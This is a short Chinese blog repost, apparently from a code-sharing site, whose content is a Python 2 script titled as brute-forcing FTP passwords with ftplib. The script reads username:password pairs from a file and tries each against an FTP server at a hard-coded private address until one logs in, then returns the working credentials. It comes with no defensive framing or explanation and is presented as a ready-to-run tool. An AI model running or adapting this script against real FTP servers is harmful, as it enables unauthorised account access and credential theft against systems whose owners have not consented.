码迷,mamicode.com
首页 > 其他好文 > 详细

用ftplib爆破FTP口令

时间:2016-06-11 10:29:49      阅读:141      评论:0      收藏:0      [点我收藏+]

标签:

#coding:utf-8
#author:jwong

import ftplib

def bruteLogin(hostname,passwordFile):
	with open(passwordFile,‘r‘) as f:
		for line in f.readlines():
			username = line.split(‘:‘)[0]
			password = line.split(‘:‘)[1].strip(‘\r‘).strip(‘\n‘)
			print "[+] Trying:" + username + "/" + password
			try:
				ftp = ftplib.FTP(hostname)
				ftp.login(username,password)
				print ‘login success‘
				ftp.quit()
				return (username,password)

			except Exception, e:
				pass
		print ‘could not brute force FTP credentials‘
		return (None,None)

if __name__ == ‘__main__‘:
	host = ‘192.168.21.104‘
	passwordFile = ‘userpass.txt‘
	bruteLogin(host,passwordFile)

  

用ftplib爆破FTP口令

标签:

原文地址:http://www.cnblogs.com/jwong/p/5574793.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!